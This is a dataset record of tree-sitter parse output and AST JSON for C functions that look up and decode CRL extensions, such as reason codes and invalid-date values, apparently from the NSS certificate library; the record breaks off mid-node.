"SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem)" (identifier) "SEC_QuickDERDecodeItem" (argument_list) "(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem)" (() "(" (identifier) "arena" (,) "," (pointer_expression) "&tmpItem" (&) "&" (identifier) "tmpItem" (,) "," (call_expression) "SEC_ASN1_GET(SEC_EnumeratedTemplate)" (identifier) "SEC_ASN1_GET" (argument_list) "(SEC_EnumeratedTemplate)" (() "(" (identifier) "SEC_EnumeratedTemplate" ()) ")" (,) "," (pointer_expression) "&wrapperItem" (&) "&" (identifier) "wrapperItem" ()) ")" (;) ";" (if_statement) "if ( rv != SECSuccess ) {\n goto loser;\n }" (if) "if" (parenthesized_expression) "( rv != SECSuccess )" (() "(" (binary_expression) "rv != SECSuccess" (identifier) "rv" (!=) "!=" (identifier) "SECSuccess" ()) ")" (compound_statement) "{\n goto loser;\n }" ({) "{" (goto_statement) "goto loser;" (goto) "goto" (statement_identifier) "loser" (;) ";" (}) "}" (expression_statement) "*value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem);" (assignment_expression) "*value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem)" (pointer_expression) "*value" (*) "*" (identifier) "value" (=) "=" (cast_expression) "(CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem)" (() "(" (type_descriptor) "CERTCRLEntryReasonCode" (type_identifier) "CERTCRLEntryReasonCode" ()) ")" (call_expression) "DER_GetInteger(&tmpItem)" (identifier) "DER_GetInteger" (argument_list) "(&tmpItem)" (() "(" (pointer_expression) "&tmpItem" (&) "&" (identifier) "tmpItem" ()) ")" (;) ";" (labeled_statement) "loser:\n if ( arena ) {\n PORT_FreeArena(arena, PR_FALSE);\n }" (statement_identifier) "loser" (:) ":" (if_statement) "if ( arena ) {\n PORT_FreeArena(arena, PR_FALSE);\n }" (if) "if" (parenthesized_expression) "( arena )" (() "(" (identifier) "arena" ()) ")" (compound_statement) "{\n PORT_FreeArena(arena, PR_FALSE);\n }" ({) "{" (expression_statement) "PORT_FreeArena(arena, PR_FALSE);" (call_expression) "PORT_FreeArena(arena, PR_FALSE)" (identifier) "PORT_FreeArena" (argument_list) "(arena, PR_FALSE)" (() "(" (identifier) "arena" (,) "," (identifier) "PR_FALSE" ()) ")" (;) ";" (}) "}" (if_statement) "if ( wrapperItem.data ) {\n PORT_Free(wrapperItem.data);\n }" (if) "if" (parenthesized_expression) "( wrapperItem.data )" (() "(" (field_expression) "wrapperItem.data" (identifier) "wrapperItem" (.) "." (field_identifier) "data" ()) ")" (compound_statement) "{\n PORT_Free(wrapperItem.data);\n }" ({) "{" (expression_statement) "PORT_Free(wrapperItem.data);" (call_expression) "PORT_Free(wrapperItem.data)" (identifier) "PORT_Free" (argument_list) "(wrapperItem.data)" (() "(" (field_expression) "wrapperItem.data" (identifier) "wrapperItem" (.) "." (field_identifier) "data" ()) ")" (;) ";" (}) "}" (return_statement) "return (rv);" (return) "return" (parenthesized_expression) "(rv)" (() "(" (identifier) "rv" ()) ")" (;) ";" (}) "}" (function_definition) "SECStatus CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value)\n{\n SECItem encodedExtenValue;\n SECItem decodedExtenValue = {siBuffer,0};\n SECStatus rv;\n\n encodedExtenValue.data = decodedExtenValue.data = NULL;\n encodedExtenValue.len = decodedExtenValue.len = 0;\n\n rv = cert_FindExtension\n (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue);\n if ( rv != SECSuccess )\n return (rv);\n\n rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue);\n if (rv == SECSuccess)\n rv = DER_GeneralizedTimeToTime(value, &encodedExtenValue);\n PORT_Free (decodedExtenValue.data);\n PORT_Free (encodedExtenValue.data);\n return (rv);\n}" (type_identifier) "SECStatus" (function_declarator) "CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value)" (identifier) "CERT_FindInvalidDateExten" (parameter_list) "(CERTCrl *crl, int64 *value)" (() "(" (parameter_declaration) "CERTCrl *crl" (type_identifier) "CERTCrl" (pointer_declarator) "*crl" (*) "*" (identifier) "crl" (,) "," (parameter_declaration) "int64 *value" (type_identifier) "int64" (pointer_declarator) "*value" (*) "*" (identifier) "value" ()) ")" (compound_statement) "{\n SECItem encodedExtenValue;\n SECItem decodedExtenValue = {siBuffer,0};\n SECStatus rv;\n\n encodedExtenValue.data = decodedExtenValue.data = NULL;\n encodedExtenValue.len = decodedExtenValue.len = 0;\n\n rv = cert_FindExtension\n (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue);\n if ( rv != SECSuccess )\n return (rv);\n\n rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue);\n if (rv == SECSuccess)\n rv = DER_GeneralizedTimeToTime(value, &encodedExtenValue);\n PORT_Free (decodedExtenValue.data);\n PORT_Free (encodedExtenValue.data);\n return (rv);\n}" ({) "{" (declaration) "SECItem encodedExtenValue;" (type_identifier) "SECItem" (identifier) "encodedExtenValue" (;) ";" (declaration) "SECItem decodedExtenValue = {siBuffer,0};" (type_identifier) "SECItem" (init_declarator) "decodedExtenValue = {siBuffer,0}" (identifier) "decodedExtenValue" (=) "=" (initializer_list) "{siBuffer,0}" ({) "{" (identifier) "siBuffer" (,) "," (number_literal) "0" (}) "}" (;) ";" (declaration) "SECStatus rv;" (type_identifier) "SECStatus" (identifier) "rv" (;) ";" (expression_statement) "encodedExtenValue.data = decodedExtenValue.data = NULL;" (assignment_expression) "encodedExtenValue.data = decodedExtenValue.data = NULL" (field_expression) "encodedExtenValue.data" (identifier) "encodedExtenValue" (.) "." (field_identifier) "data" (=) "=" (assignment_expression) "decodedExtenValue.data = NULL" (field_expression) "decodedExtenValue.data" (identifier) "decodedExtenValue" (.) "." (field_identifier) "data" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (expression_statement) "encodedExtenValue.len = decodedExtenValue.len = 0;" (assignment_expression) "encodedExtenValue.len = decodedExtenValue.len = 0" (field_expression) "encodedExtenValue.len" (identifier) "encodedExtenValue" (.) "." (field_identifier) "len" (=) "=" (assignment_expression) "decodedExtenValue.len = 0" (field_expression) "decodedExtenValue.len" (identifier) "decodedExtenValue" (.) "." (field_identifier) "len" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "rv = cert_FindExtension\n (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue);" (assignment_expression) "rv = cert_FindExtension\n (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue)" (identifier) "rv" (=) "=" (call_expression) "cert_FindExtension\n (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue)" (identifier) "cert_FindExtension" (argument_list) "(crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue)" (() "(" (field_expression) "crl->extensions" (identifier) "crl" (->) "->" (field_identifier) "extensions" (,) "," (identifier) "SEC_OID_X509_INVALID_DATE" (,) "," (pointer_expression) "&encodedExtenValue" (&) "&" (identifier) "encodedExtenValue" ()) ")" (;) ";" (if_statement) "if ( rv != SECSuccess )\n return (rv);" (if) "if" (parenthesized_expression) "( rv != SECSuccess )" (() "(" (binary_expression) "rv != SECSuccess" (identifier) "rv" (!=) "!=" (identifier) "SECSuccess" ()) ")" (return_statement) "return (rv);" (return) "return" (parenthesized_expression) "(rv)" (() "(" (identifier) "rv" ()) ")" (;) ";" (expression_statement) "rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue);" (assignment_expression) "rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue)" (identifier) "rv" (=) "=" (call_expression) "SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue)" (identifier) "SEC_ASN1DecodeItem" (argument_list) "(NULL, &decodedExtenValue,\n SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue)" (() "(" (null) "NULL" (NULL) "NULL" (,) "," (pointer_expression) "&decodedExtenValue" (&) "&" (identifier) "decodedExtenValue" (,) "," (call_expression) "SEC_ASN1_GET(SEC_GeneralizedTimeTemplate)" (identifier) "SEC_ASN1_GET" (argument_list) "(SEC_GeneralizedTimeTemplate)" (() "(" (identifier) "SEC_GeneralizedTimeTemplate" ()) ")" (,) "," (pointer_expression) "&encodedExtenValue" (&) "&" (identifier) "encodedExtenValue" ()) ")" (;) ";" (if_statement) "if (rv == SECSuccess)\n rv = DER_GeneralizedTimeToTime(value, &encodedExtenValue);" (if) "if" (parenthesized_expression) "(rv == SECSuccess)" (() "(" (binary_expression) "rv == SECSuccess" (identifier) "rv" (==) "==" (identifier) "SECSuccess" ()) ")" (expression_statement) "rv = DER_GeneralizedTimeToTime(value, &encodedExtenValue);" (assignment_expression) "rv = DER_GeneralizedTimeToTime(value, &encodedExtenValue)" (identifier) "rv" (=) "=" (call_expression) "DER_GeneralizedTimeToTime(value, &encodedExtenValue)" (identifier) "DER_GeneralizedTimeToTime" (argument_list) "(value, &encodedExtenValue)" (() "(" (identifier) "value" (,) "," (pointer_expression) "&encodedExtenValue" (&) "&" (identifier) "encodedExtenValue" ()) ")" (;) ";" (expression_statement) "PORT_Free (decodedExtenValue.data);" (call_expression) "PORT_Free (decodedExtenValue.data)" (identifier) "PORT_Free" (argument_list) "(decodedExtenValue.data)" (() "(" (field_expression) "decodedExtenValue.data" (identifier) "decodedExtenValue" (.) "." (field_identifier) "data" ()) ")" (;) ";" (expression_statement) "PORT_Free (encodedExtenValue.data);" (call_expression) "PORT_Free (encodedExtenValue.data)" (identifier) "PORT_Free" (argument_list) "(encodedExtenValue.data)" (() "(" (field_expression) "encodedExtenValue.data" (identifier) "encodedExtenValue" (.) "." (field_identifier) "data" ()) ")" (;) ";" (return_statement) "return (rv);" (return) "return" (parenthesized_expression) "(rv)" (() "(" (identifier) "rv" ()) ")" (;) ";" (}) "}"
1,000
0
{"language": "c", "success": true, "metadata": {"lines": 135, "avg_line_length": 29.61, "nodes": 616, "errors": 0, "source_hash": "88e42a8513262c2c15ba9483eb174336eec41054ab20bfbc5a83b6196ff49e98", "categorized_nodes": 440}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"cert.h\"\n", "parent": null, "children": [1, 2], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"cert.h\"", "parent": 0, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 17}}, {"id": 3, "type": "preproc_include", "text": "#include \"secitem.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"secitem.h\"", "parent": 3, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 20}}, {"id": 6, "type": "preproc_include", "text": "#include \"secoid.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"secoid.h\"", "parent": 6, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 19}}, {"id": 9, "type": "preproc_include", "text": "#include \"secoidt.h\"\n", "parent": null, "children": [10, 11], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"secoidt.h\"", "parent": 9, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 20}}, {"id": 12, "type": "preproc_include", "text": "#include \"secder.h\"\n", "parent": null, "children": [13, 14], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 8}}, {"id": 14, "type": "string_literal", "text": "\"secder.h\"", "parent": 12, "children": [], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 19}}, {"id": 15, "type": "preproc_include", "text": "#include \"secasn1.h\"\n", "parent": null, "children": [16, 17], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 8}}, {"id": 17, "type": "string_literal", "text": "\"secasn1.h\"", "parent": 15, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 20}}, {"id": 18, "type": "preproc_include", "text": "#include \"certxutl.h\"\n", "parent": null, "children": [19, 20], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 8}}, {"id": 20, "type": "string_literal", "text": "\"certxutl.h\"", "parent": 18, "children": [], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 16, "column": 21}}, {"id": 21, "type": "function_definition", "text": "SECStatus\nCERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value)\n{\n return (cert_FindExtensionByOID (crl->extensions, oid, value));\n}", "parent": null, "children": [22, 23], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 22, "column": 1}}, {"id": 22, "type": "type_identifier", "text": "SECStatus", "parent": 21, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 9}}, {"id": 23, "type": "function_declarator", "text": "CERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value)", "parent": 21, "children": [24, 25], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 70}}, {"id": 24, "type": "identifier", "text": "CERT_FindCRLExtensionByOID", "parent": 23, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 26}}, {"id": 25, "type": "parameter_list", "text": "(CERTCrl *crl, SECItem *oid, SECItem *value)", "parent": 23, "children": [26, 31, 36], "start_point": {"row": 19, "column": 26}, "end_point": {"row": 19, "column": 70}}, {"id": 26, "type": "parameter_declaration", "text": "CERTCrl *crl", "parent": 25, "children": [27, 28], "start_point": {"row": 19, "column": 27}, "end_point": {"row": 19, "column": 39}}, {"id": 27, "type": "type_identifier", "text": "CERTCrl", "parent": 26, "children": [], "start_point": {"row": 19, "column": 27}, "end_point": {"row": 19, "column": 34}}, {"id": 28, "type": "pointer_declarator", "text": "*crl", "parent": 26, "children": [29, 30], "start_point": {"row": 19, "column": 35}, "end_point": {"row": 19, "column": 39}}, {"id": 29, "type": "*", "text": "*", "parent": 28, "children": [], "start_point": {"row": 19, "column": 35}, "end_point": {"row": 19, "column": 36}}, {"id": 30, "type": "identifier", "text": "crl", "parent": 28, "children": [], "start_point": {"row": 19, "column": 36}, "end_point": {"row": 19, "column": 39}}, {"id": 31, "type": "parameter_declaration", "text": "SECItem *oid", "parent": 25, "children": [32, 33], "start_point": {"row": 19, "column": 41}, "end_point": {"row": 19, "column": 53}}, {"id": 32, "type": "type_identifier", "text": "SECItem", "parent": 31, "children": [], "start_point": {"row": 19, "column": 41}, "end_point": {"row": 19, "column": 48}}, {"id": 33, "type": "pointer_declarator", "text": "*oid", "parent": 31, "children": [34, 35], "start_point": {"row": 19, "column": 49}, "end_point": {"row": 19, "column": 53}}, {"id": 34, "type": "*", "text": "*", "parent": 33, "children": [], "start_point": {"row": 19, "column": 49}, "end_point": {"row": 19, "column": 50}}, {"id": 35, "type": "identifier", "text": "oid", "parent": 33, "children": [], "start_point": {"row": 19, "column": 50}, "end_point": {"row": 19, "column": 53}}, {"id": 36, "type": "parameter_declaration", "text": "SECItem *value", "parent": 25, "children": [37, 38], "start_point": {"row": 19, "column": 55}, "end_point": {"row": 19, "column": 69}}, {"id": 37, "type": "type_identifier", "text": "SECItem", "parent": 36, "children": [], "start_point": {"row": 19, "column": 55}, "end_point": {"row": 19, "column": 62}}, {"id": 38, "type": "pointer_declarator", "text": "*value", "parent": 36, "children": [39, 40], "start_point": {"row": 19, "column": 63}, "end_point": {"row": 19, "column": 69}}, {"id": 39, "type": "*", "text": "*", "parent": 38, "children": [], "start_point": {"row": 19, "column": 63}, "end_point": {"row": 19, "column": 64}}, {"id": 40, "type": "identifier", "text": "value", "parent": 38, "children": [], "start_point": {"row": 19, "column": 64}, "end_point": {"row": 19, "column": 69}}, {"id": 41, "type": "return_statement", "text": "return (cert_FindExtensionByOID (crl->extensions, oid, value));", "parent": 21, "children": [42], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 67}}, {"id": 42, "type": "parenthesized_expression", "text": "(cert_FindExtensionByOID (crl->extensions, oid, value))", "parent": 41, "children": [43], "start_point": {"row": 21, "column": 11}, "end_point": {"row": 21, "column": 66}}, {"id": 43, "type": "call_expression", "text": "cert_FindExtensionByOID (crl->extensions, oid, value)", "parent": 42, "children": [44, 45], "start_point": {"row": 21, "column": 12}, "end_point": {"row": 21, "column": 65}}, {"id": 44, "type": "identifier", "text": "cert_FindExtensionByOID", "parent": 43, "children": [], "start_point": {"row": 21, "column": 12}, "end_point": {"row": 21, "column": 35}}, {"id": 45, "type": "argument_list", "text": "(crl->extensions, oid, value)", "parent": 43, "children": [46, 49, 50], "start_point": {"row": 21, "column": 36}, "end_point": {"row": 21, "column": 65}}, {"id": 46, "type": "field_expression", "text": "crl->extensions", "parent": 45, "children": [47, 48], "start_point": {"row": 21, "column": 37}, "end_point": {"row": 21, "column": 52}}, {"id": 47, "type": "identifier", "text": "crl", "parent": 46, "children": [], "start_point": {"row": 21, "column": 37}, "end_point": {"row": 21, "column": 40}}, {"id": 48, "type": "field_identifier", "text": "extensions", "parent": 46, "children": [], "start_point": {"row": 21, "column": 42}, "end_point": {"row": 21, "column": 52}}, {"id": 49, "type": "identifier", "text": "oid", "parent": 45, "children": [], "start_point": {"row": 21, "column": 54}, "end_point": {"row": 21, "column": 57}}, {"id": 50, "type": "identifier", "text": "value", "parent": 45, "children": [], "start_point": {"row": 21, "column": 59}, "end_point": {"row": 21, "column": 64}}, {"id": 51, "type": "function_definition", "text": "SECStatus\nCERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value)\n{\n return (cert_FindExtension (crl->extensions, tag, value));\n}", "parent": null, "children": [52, 53], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 29, "column": 1}}, {"id": 52, "type": "type_identifier", "text": "SECStatus", "parent": 51, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 9}}, {"id": 53, "type": "function_declarator", "text": "CERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value)", "parent": 51, "children": [54, 55], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 60}}, {"id": 54, "type": "identifier", "text": "CERT_FindCRLExtension", "parent": 53, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 21}}, {"id": 55, "type": "parameter_list", "text": "(CERTCrl *crl, int tag, SECItem *value)", "parent": 53, "children": [56, 61, 64], "start_point": {"row": 26, "column": 21}, "end_point": {"row": 26, "column": 60}}, {"id": 56, "type": "parameter_declaration", "text": "CERTCrl *crl", "parent": 55, "children": [57, 58], "start_point": {"row": 26, "column": 22}, "end_point": {"row": 26, "column": 34}}, {"id": 57, "type": "type_identifier", "text": "CERTCrl", "parent": 56, "children": [], "start_point": {"row": 26, "column": 22}, "end_point": {"row": 26, "column": 29}}, {"id": 58, "type": "pointer_declarator", "text": "*crl", "parent": 56, "children": [59, 60], "start_point": {"row": 26, "column": 30}, "end_point": {"row": 26, "column": 34}}, {"id": 59, "type": "*", "text": "*", "parent": 58, "children": [], "start_point": {"row": 26, "column": 30}, "end_point": {"row": 26, "column": 31}}, {"id": 60, "type": "identifier", "text": "crl", "parent": 58, "children": [], "start_point": {"row": 26, "column": 31}, "end_point": {"row": 26, "column": 34}}, {"id": 61, "type": "parameter_declaration", "text": "int tag", "parent": 55, "children": [62, 63], "start_point": {"row": 26, "column": 36}, "end_point": {"row": 26, "column": 43}}, {"id": 62, "type": "primitive_type", "text": "int", "parent": 61, "children": [], "start_point": {"row": 26, "column": 36}, "end_point": {"row": 26, "column": 39}}, {"id": 63, "type": "identifier", "text": "tag", "parent": 61, "children": [], "start_point": {"row": 26, "column": 40}, "end_point": {"row": 26, "column": 43}}, {"id": 64, "type": "parameter_declaration", "text": "SECItem *value", "parent": 55, "children": [65, 66], "start_point": {"row": 26, "column": 45}, "end_point": {"row": 26, "column": 59}}, {"id": 65, "type": "type_identifier", "text": "SECItem", "parent": 64, "children": [], "start_point": {"row": 26, "column": 45}, "end_point": {"row": 26, "column": 52}}, {"id": 66, "type": "pointer_declarator", "text": "*value", "parent": 64, "children": [67, 68], "start_point": {"row": 26, "column": 53}, "end_point": {"row": 26, "column": 59}}, {"id": 67, "type": "*", "text": "*", "parent": 66, "children": [], "start_point": {"row": 26, "column": 53}, "end_point": {"row": 26, "column": 54}}, {"id": 68, "type": "identifier", "text": "value", "parent": 66, "children": [], "start_point": {"row": 26, "column": 54}, "end_point": {"row": 26, "column": 59}}, {"id": 69, "type": "return_statement", "text": "return (cert_FindExtension (crl->extensions, tag, value));", "parent": 51, "children": [70], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 62}}, {"id": 70, "type": "parenthesized_expression", "text": "(cert_FindExtension (crl->extensions, tag, value))", "parent": 69, "children": [71], "start_point": {"row": 28, "column": 11}, "end_point": {"row": 28, "column": 61}}, {"id": 71, "type": "call_expression", "text": "cert_FindExtension (crl->extensions, tag, value)", "parent": 70, "children": [72, 73], "start_point": {"row": 28, "column": 12}, "end_point": {"row": 28, "column": 60}}, {"id": 72, "type": "identifier", "text": "cert_FindExtension", "parent": 71, "children": [], "start_point": {"row": 28, "column": 12}, "end_point": {"row": 28, "column": 30}}, {"id": 73, "type": "argument_list", "text": "(crl->extensions, tag, value)", "parent": 71, "children": [74, 77, 78], "start_point": {"row": 28, "column": 31}, "end_point": {"row": 28, "column": 60}}, {"id": 74, "type": "field_expression", "text": "crl->extensions", "parent": 73, "children": [75, 76], "start_point": {"row": 28, "column": 32}, "end_point": {"row": 28, "column": 47}}, {"id": 75, "type": "identifier", "text": "crl", "parent": 74, "children": [], "start_point": {"row": 28, "column": 32}, "end_point": {"row": 28, "column": 35}}, {"id": 76, "type": "field_identifier", "text": "extensions", "parent": 74, "children": [], "start_point": {"row": 28, "column": 37}, "end_point": {"row": 28, "column": 47}}, {"id": 77, "type": "identifier", "text": "tag", "parent": 73, "children": [], "start_point": {"row": 28, "column": 49}, "end_point": {"row": 28, "column": 52}}, {"id": 78, "type": "identifier", "text": "value", "parent": 73, "children": [], "start_point": {"row": 28, "column": 54}, "end_point": {"row": 28, "column": 59}}, {"id": 79, "type": "function_definition", "text": "static void\nSetCrlExts(void *object, CERTCertExtension **exts)\n{\n CERTCrl *crl = (CERTCrl *)object;\n\n crl->extensions = exts;\n DER_SetUInteger (crl->arena, &crl->version, SEC_CRL_VERSION_2);\n}", "parent": null, "children": [80, 81], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 40, "column": 1}}, {"id": 80, "type": "primitive_type", "text": "void", "parent": 79, "children": [], "start_point": {"row": 33, "column": 7}, "end_point": {"row": 33, "column": 11}}, {"id": 81, "type": "function_declarator", "text": "SetCrlExts(void *object, CERTCertExtension **exts)", "parent": 79, "children": [82, 83], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 50}}, {"id": 82, "type": "identifier", "text": "SetCrlExts", "parent": 81, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 10}}, {"id": 83, "type": "parameter_list", "text": "(void *object, CERTCertExtension **exts)", "parent": 81, "children": [84, 89], "start_point": {"row": 34, "column": 10}, "end_point": {"row": 34, "column": 50}}, {"id": 84, "type": "parameter_declaration", "text": "void *object", "parent": 83, "children": [85, 86], "start_point": {"row": 34, "column": 11}, "end_point": {"row": 34, "column": 23}}, {"id": 85, "type": "primitive_type", "text": "void", "parent": 84, "children": [], "start_point": {"row": 34, "column": 11}, "end_point": {"row": 34, "column": 15}}, {"id": 86, "type": "pointer_declarator", "text": "*object", "parent": 84, "children": [87, 88], "start_point": {"row": 34, "column": 16}, "end_point": {"row": 34, "column": 23}}, {"id": 87, "type": "*", "text": "*", "parent": 86, "children": [], "start_point": {"row": 34, "column": 16}, "end_point": {"row": 34, "column": 17}}, {"id": 88, "type": "identifier", "text": "object", "parent": 86, "children": [], "start_point": {"row": 34, "column": 17}, "end_point": {"row": 34, "column": 23}}, {"id": 89, "type": "parameter_declaration", "text": "CERTCertExtension **exts", "parent": 83, "children": [90, 91], "start_point": {"row": 34, "column": 25}, "end_point": {"row": 34, "column": 49}}, {"id": 90, "type": "type_identifier", "text": "CERTCertExtension", "parent": 89, "children": [], "start_point": {"row": 34, "column": 25}, "end_point": {"row": 34, "column": 42}}, {"id": 91, "type": "pointer_declarator", "text": "**exts", "parent": 89, "children": [92, 93], "start_point": {"row": 34, "column": 43}, "end_point": {"row": 34, "column": 49}}, {"id": 92, "type": "*", "text": "*", "parent": 91, "children": [], "start_point": {"row": 34, "column": 43}, "end_point": {"row": 34, "column": 44}}, {"id": 93, "type": "pointer_declarator", "text": "*exts", "parent": 91, "children": [94, 95], "start_point": {"row": 34, "column": 44}, "end_point": {"row": 34, "column": 49}}, {"id": 94, "type": "*", "text": "*", "parent": 93, "children": [], "start_point": {"row": 34, "column": 44}, "end_point": {"row": 34, "column": 45}}, {"id": 95, "type": "identifier", "text": "exts", "parent": 93, "children": [], "start_point": {"row": 34, "column": 45}, "end_point": {"row": 34, "column": 49}}, {"id": 96, "type": "declaration", "text": "CERTCrl *crl = (CERTCrl *)object;", "parent": 79, "children": [97, 98], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 37}}, {"id": 97, "type": "type_identifier", "text": "CERTCrl", "parent": 96, "children": [], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 11}}, {"id": 98, "type": "init_declarator", "text": "*crl = (CERTCrl *)object", "parent": 96, "children": [99, 102, 103], "start_point": {"row": 36, "column": 12}, "end_point": {"row": 36, "column": 36}}, {"id": 99, "type": "pointer_declarator", "text": "*crl", "parent": 98, "children": [100, 101], "start_point": {"row": 36, "column": 12}, "end_point": {"row": 36, "column": 16}}, {"id": 100, "type": "*", "text": "*", "parent": 99, "children": [], "start_point": {"row": 36, "column": 12}, "end_point": {"row": 36, "column": 13}}, {"id": 101, "type": "identifier", "text": "crl", "parent": 99, "children": [], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 16}}, {"id": 102, "type": "=", "text": "=", "parent": 98, "children": [], "start_point": {"row": 36, "column": 17}, "end_point": {"row": 36, "column": 18}}, {"id": 103, "type": "cast_expression", "text": "(CERTCrl *)object", "parent": 98, "children": [104, 108], "start_point": {"row": 36, "column": 19}, "end_point": {"row": 36, "column": 36}}, {"id": 104, "type": "type_descriptor", "text": "CERTCrl *", "parent": 103, "children": [105, 106], "start_point": {"row": 36, "column": 20}, "end_point": {"row": 36, "column": 29}}, {"id": 105, "type": "type_identifier", "text": "CERTCrl", "parent": 104, "children": [], "start_point": {"row": 36, "column": 20}, "end_point": {"row": 36, "column": 27}}, {"id": 106, "type": "abstract_pointer_declarator", "text": "*", "parent": 104, "children": [107], "start_point": {"row": 36, "column": 28}, "end_point": {"row": 36, "column": 29}}, {"id": 107, "type": "*", "text": "*", "parent": 106, "children": [], "start_point": {"row": 36, "column": 28}, "end_point": {"row": 36, "column": 29}}, {"id": 108, "type": "identifier", "text": "object", "parent": 103, "children": [], "start_point": {"row": 36, "column": 30}, "end_point": {"row": 36, "column": 36}}, {"id": 109, "type": "assignment_expression", "text": "crl->extensions = exts", "parent": 79, "children": [110, 113, 114], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 26}}, {"id": 110, "type": "field_expression", "text": "crl->extensions", "parent": 109, "children": [111, 112], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 19}}, {"id": 111, "type": "identifier", "text": "crl", "parent": 110, "children": [], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 7}}, {"id": 112, "type": "field_identifier", "text": "extensions", "parent": 110, "children": [], "start_point": {"row": 38, "column": 9}, "end_point": {"row": 38, "column": 19}}, {"id": 113, "type": "=", "text": "=", "parent": 109, "children": [], "start_point": {"row": 38, "column": 20}, "end_point": {"row": 38, "column": 21}}, {"id": 114, "type": "identifier", "text": "exts", "parent": 109, "children": [], "start_point": {"row": 38, "column": 22}, "end_point": {"row": 38, "column": 26}}, {"id": 115, "type": "call_expression", "text": "DER_SetUInteger (crl->arena, 